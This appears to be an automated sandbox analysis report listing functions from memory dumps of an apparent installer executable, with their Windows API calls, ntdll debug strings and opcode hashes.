Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: e96549bfc15c61eda963decbf2ac7711bc26cf2cda0d2d876f8c66553204eb34
Instruction ID: 4bf356d602ef98d4573ef7908d3b58b0cc0fb73d1004876675b611fe10fa72ef
Opcode Fuzzy Hash: e96549bfc15c61eda963decbf2ac7711bc26cf2cda0d2d876f8c66553204eb34
Instruction Fuzzy Hash: BDE1D1746043128FFB05CE64C890B5E77E1BF85368F604A2DE9A5CB390DBB1D945CB92

Function 32D5D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DA9299

Strings

Actx , xrefs: 32DA9315
GsHd, xrefs: 32D5D794
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 32DA9372
RtlpFindActivationContextSection_CheckParameters, xrefs: 32DA914E, 32DA9173
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32DA9178
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32DA9153

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 24fae1df5e06af59140079425f3b9bf7475d665785853b870968a9a61e66b9fc
Instruction ID: 2590af2b87b62bd9aeee32bfe6abaa0d0fd3ddea4a67f5de622bec0d4c78c816
Opcode Fuzzy Hash: 24fae1df5e06af59140079425f3b9bf7475d665785853b870968a9a61e66b9fc
Instruction Fuzzy Hash: E2E1A374604341CFEB04CF14C890B4ABBE4BF88758F504A6DE995CB395DBB5E844CBA2

Function 32DBFA02 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DBFAF3
RtlDebugPrintTimes.NTDLL ref: 32DBFB15

Strings

LdrpRedirectDelayloadFailure, xrefs: 32DBFA5E
minkernel\ntdll\ldrdload.c, xrefs: 32DBFA68
Unknown, xrefs: 32DBFA42, 32DBFA54
Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 32DBFA58
$, xrefs: 32DBFABD

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: cf03ef153d0e8247d7d147d808c9955694e44830059b7af548a27eb457613414
Instruction ID: aa63c9da7dc5df7745d4369934f4c2feba04342501ba1d2f1a90fb5f888ad9ce
Opcode Fuzzy Hash: cf03ef153d0e8247d7d147d808c9955694e44830059b7af548a27eb457613414
Instruction Fuzzy Hash: 184149B9A01209AFDF05CF98C891ADEBBB5EF49758F504029F905AB350DB71DA41CBA0

Function 00405736 Relevance: 12.1, APIs: 8, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00405753
GetSysColor.USER32 ref: 0040578C
SetTextColor.GDI32(?), ref: 0040579F
SetBkMode.GDI32(?,?), ref: 004057AB
GetSysColor.USER32(?), ref: 004057BF
SetBkColor.GDI32(?,?), ref: 004057D5
DeleteObject.GDI32(?), ref: 004057F1
CreateBrushIndirect.GDI32(?), ref: 004057FB

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction ID: fd6d678b7fcced70b4665a1fbec2e56912b3eb02c270adc19d2dd25120f6a122
Opcode Fuzzy Hash: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction Fuzzy Hash: 4B21F675500B04DFDB749F28DA4895B77B4EF05710B108A3EE896B26A1DB38E814CF24

Function 32DEF8F8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DEF92E

Strings

About to free block at %p with tag %ws, xrefs: 32DEFAFE
HEAP: , xrefs: 32DEF9F9, 32DEFAE4
About to free block at %p, xrefs: 32DEFA0A
HEAP[%wZ]: , xrefs: 32DEF9EC, 32DEFAD7
RtlFreeHeap, xrefs: 32DEF948, 32DEF9B2

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 3446177414-3492000579
Opcode ID: 873f4c8c80fe7307f7963a38ad1de25d7de6a2fdf887d248a31a0acb0fe3bb86
Instruction ID: 96c0db70f5a2969d6f77981bf6128f4753836d60ec390f7255219a98a2dcb1a5
Opcode Fuzzy Hash: 873f4c8c80fe7307f7963a38ad1de25d7de6a2fdf887d248a31a0acb0fe3bb86
Instruction Fuzzy Hash: 2F714335902688DFDB06CFA8D490AADFBF2FF49344F448059E586AF351CB759981CBA0

Function 32D36565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D36614
RtlDebugPrintTimes.NTDLL ref: 32D3665F

Strings

Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 32D99843
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 32D99885
LdrpLoadShimEngine, xrefs: 32D9984A, 32D9988B
minkernel\ntdll\ldrinit.c, xrefs: 32D99854, 32D99895

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: 4d785a2fa27a0e5a3a3df7a77711bf30fd6ddde0c20e567b3d04966a93f6e502
Instruction ID: 6d4cbab0dcc6250d17e58b84207472d8fed60995e05a4c71b7acf7028b18cfdf
Opcode Fuzzy Hash: 4d785a2fa27a0e5a3a3df7a77711bf30fd6ddde0c20e567b3d04966a93f6e502
Instruction Fuzzy Hash: B1513676A023889FDB05DBB8C855FDD77A5BB40304F840569E651BF395CBB09C81C7A4

Function 0040291D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,?,?), ref: 00402994
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004029D4
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402A07
MultiByteToWideChar.KERNEL32(?,00000008,?,?,00000001,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402A1F
SetFilePointer.KERNEL32(?,?,?,00000001,00000000,?,00000002), ref: 00402ADC

Strings

9, xrefs: 00402975

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: File$ByteCharMultiPointerWide$Read
String ID: 9
API String ID: 1439708474-2366072709
Opcode ID: de9a9b87b4d54610843938f2c97b6a216896488e6d5b1f8db430457174f1f012
Instruction ID: 06df5d1e4fd17f9c1e4dafe2560c0fdc737aa95be89056b4b35a237a27527231
Opcode Fuzzy Hash: de9a9b87b4d54610843938f2c97b6a216896488e6d5b1f8db430457174f1f012
Instruction Fuzzy Hash: 305139B1618341AFD724DF11CA44A2BB7E8BFD5304F00483FF985A62D0DBB9D9458B6A

Function 32D6DA20 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DAF41B

Strings

RtlUnlockHeap, xrefs: 32DAF467
HEAP: , xrefs: 32DAF451
, passed to %s, xrefs: 32DAF46C
HEAP[%wZ]: , xrefs: 32DAF444
Invalid heap signature for heap at %p, xrefs: 32DAF45D

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: 9e08aeca1a5a073bc434c14c4cc099e9491eac2f7232596e0f730b9c569d2da6
Instruction ID: b7bfc85e13f50f76a02a408c66727456a82435be40d244d6e11dda7b17b5db73
Opcode Fuzzy Hash: 9e08aeca1a5a073bc434c14c4cc099e9491eac2f7232596e0f730b9c569d2da6
Instruction Fuzzy Hash: 9C418B35608700DFE316CF24D450B6AB7B4FF40328F5485A8E9456F781CBBAA985CBA1

Function 32DEECD7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DEEDD0
RtlDebugPrintTimes.NTDLL ref: 32DEEE45

Strings

Entry Heap Size , xrefs: 32DEEDED
HEAP: , xrefs: 32DEECDD
---------------------------------------, xrefs: 32DEEDF9
Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 32DEEDE3

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
API String ID: 3446177414-1102453626
Opcode ID: e5cf935116600411b02e83c92d0e373bd05fc06f9b94b47c27e1d9847cdfd2b2
Instruction ID: a11e85e3783ca54b2c91f14668ba561e4f64ccd8459e0d4afa99e92dae2729cc
Opcode Fuzzy Hash: e5cf935116600411b02e83c92d0e373bd05fc06f9b94b47c27e1d9847cdfd2b2
Instruction Fuzzy Hash: 7C41043AA02215CFC705DF14C48194ABBF1FF89365B5684A9D505AB310CB31ECC2CBD0

Function 32D6DAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DAF561

Strings

HEAP: , xrefs: 32DAF597
, passed to %s, xrefs: 32DAF5B2
RtlLockHeap, xrefs: 32DAF5AD
HEAP[%wZ]: , xrefs: 32DAF58A
Invalid heap signature for heap at %p, xrefs: 32DAF5A3

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: abe053bdeaf3a30ce5572d66d3a1fa67fb57fa292114eb00423c2bd507547338
Instruction ID: 5008471e684c71f037130cbbff939038ee67be47ee03f3bbd9f2d57494585e84
Opcode Fuzzy Hash: abe053bdeaf3a30ce5572d66d3a1fa67fb57fa292114eb00423c2bd507547338
Instruction Fuzzy Hash: 14319836101784EFF326CB28E419F6977F4EF05758F0144C4E8416BBA5CBBAE984CA61

Function 00406D18 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406D8D
CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DA1
CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DB9

Strings

*?|<>/":, xrefs: 00406D7C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406D1F

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$Error writing temporary file. Make sure your temp folder is valid.
API String ID: 589700163-525015898
Opcode ID: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction ID: 6d5cd2c23b7c5e8a6660ed42317bbe46aa043e331069955b4164b8205da208bc
Opcode Fuzzy Hash: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction Fuzzy Hash: 9E11D261B0063556DA3067298C4097B72E8DFA97A1756443BFDC6E72C0FB7C8CA193AC

Function 00405D15 Relevance: 10.6, APIs: 7, Instructions: 76stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00424200,?,00000000,?,?), ref: 00405D47
lstrlenW.KERNEL32(?,00424200,?,00000000,?,?), ref: 00405D59
lstrcatW.KERNEL32(00424200,?,?,00424200,?,00000000,?,?), ref: 00405D74
SetWindowTextW.USER32(00424200,00424200), ref: 00405D8C
SendMessageW.USER32(?), ref: 00405DB3
SendMessageW.USER32(?,0000104D,00000000,?), ref: 00405DCE
SendMessageW.USER32(?,00001013,00000000,00000000), ref: 00405DDB

Part of subcall function 00405E95: lstrcatW.KERNEL32(00427CA0,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,?,?,?,?,00000000,?,?), ref: 0040604B

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$TextWindow
String ID:
API String ID: 1759915248-0
Opcode ID: abf7321ecfe745b46f7b8ea960bd9c265c0882f09d776aa47d2a89f6dad764dc
Instruction ID: ac3c7827115ee855a696472e6a70c5e4fb7cac6e51cf912ccc90d208c1262af9
Opcode Fuzzy Hash: abf7321ecfe745b46f7b8ea960bd9c265c0882f09d776aa47d2a89f6dad764dc
Instruction Fuzzy Hash: 7B21F571A056206BD310AF55AC84A9BBBDCEF94350F44443FF548A3291C7B89D008AAD

Function 004056B5 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004056CE
GetMessagePos.USER32 ref: 004056D6
ScreenToClient.USER32(?,?), ref: 004056F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 00405704
SendMessageW.USER32(?,0000113E,00000000,?), ref: 0040572C

Strings

f, xrefs: 00405706

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: c033d2a482c0bbee4868c7629423a8e69750951f4e6b473a84ec653bd2017e87
Instruction ID: 0216f53b5c1e39ec49102949a755e2bc9d8ef7e3372eb4174345f74bd41e4177
Opcode Fuzzy Hash: c033d2a482c0bbee4868c7629423a8e69750951f4e6b473a84ec653bd2017e87
Instruction Fuzzy Hash: C3014C7194020DBBEB01AF94CD45BEEBBB9EF44710F10412AFA50BA1E0C7B49A41DF54

Function 0040362A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00403648
MulDiv.KERNEL32(?,00000064,?), ref: 00403670
wsprintfW.USER32 ref: 00403680
SetWindowTextW.USER32(?,?), ref: 00403690
SetDlgItemTextW.USER32(?,00000406,?), ref: 004036A2

Strings

verifying installer: %d%%, xrefs: 0040367A

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction ID: 23416ea20b8bc991085432565deaec88b6a19029d37e317e26b4fa0cf66bde53
Opcode Fuzzy Hash: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction Fuzzy Hash: F7016D71540208FBEF24AFA0DE86FAA3B69AB04305F00853EF646B51E0DBB99554CF5D

Function 00406179 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406190
wsprintfW.USER32 ref: 004061CC
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E0

Strings

%s%S.dll, xrefs: 004061C6
\, xrefs: 004061A1
UXTHEME, xrefs: 00406188

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction ID: b03dfa9df8f17b5f94e80c11c2028c51dcc2a5658fc7e28beebe443f54a48520
Opcode Fuzzy Hash: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction Fuzzy Hash: 07F0BB7150161457D710BB64DE0DB96366CEB00304F54447AA646F62C1EB7C9A54CB9C

Function 00402BA3 Relevance: 9.1, APIs: 6, Instructions: 102memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402C09
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402C33
GlobalFree.KERNEL32(?), ref: 00402C7E
GlobalFree.KERNEL32(00000000), ref: 00402C94
CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,40000000,00000002,00000000,00000000), ref: 00402CB1
DeleteFileW.KERNEL32(00000000,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402CC4

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: d8233fe099ea2af2e0409c8d0dbaade6ee1264d4a1629dae062558262f167142
Instruction ID: 686b8f33fe839f6b04a80afc83e47d853b1ea01e990ec980acb486ddfed3f61f
Opcode Fuzzy Hash: d8233fe099ea2af2e0409c8d0dbaade6ee1264d4a1629dae062558262f167142
Instruction Fuzzy Hash: 1E310871408351ABD310AF658E49E1FBBE8AF89754F114A3EF590772D2C77888018B9A

Function 32D49046 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DA2360

Strings

@, xrefs: 32D49095
$, xrefs: 32D490B1

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@
API String ID: 3446177414-1194432280
Opcode ID: 5609c342473bcb0603ccd76556bd580c19dba2451212973b6146fea5e979466a
Instruction ID: aac20f4e9d0a9c56079c74e7ff9c0d66713d13b0ee2783576a221b35204d143d
Opcode Fuzzy Hash: 5609c342473bcb0603ccd76556bd580c19dba2451212973b6146fea5e979466a
Instruction Fuzzy Hash: 40812BB1D002699BDB21CF55CC45BDEB7B8AB48714F1045EAEA09B7350DBB05E85CFA0

Function 00403148 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004031B6
GetTickCount.KERNEL32 ref: 00403245
MulDiv.KERNEL32(?,00000064,?), ref: 00403275
wsprintfW.USER32 ref: 00403286

Part of subcall function 00403131: SetFilePointer.KERNEL32(00000000,00000000,00000000,004035B2,?,?,?,?,?,?), ref: 0040313F

Strings

... %d%%, xrefs: 00403280

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: CountTick$FilePointerwsprintf
String ID: ... %d%%
API String ID: 999035486-2449383134
Opcode ID: 05e5243707f5f7ace503ab87713e90cbe87e1f5fe0e9427802214610f79e4a99
Instruction ID: b14d6756c9ad048cc293c005f1ed80a68e2f1ec6eb458bfd39e289cb7134058b
Opcode Fuzzy Hash: 05e5243707f5f7ace503ab87713e90cbe87e1f5fe0e9427802214610f79e4a99
Instruction Fuzzy Hash: CB516E716083429BD710AF269A85A2B7BD9AB84345F044A3FFC55E32D1DB38DA048B5E

Function 32D74C3D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D74C84

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 32DB3466
LdrpFindDllActivationContext, xrefs: 32DB3440, 32DB346C
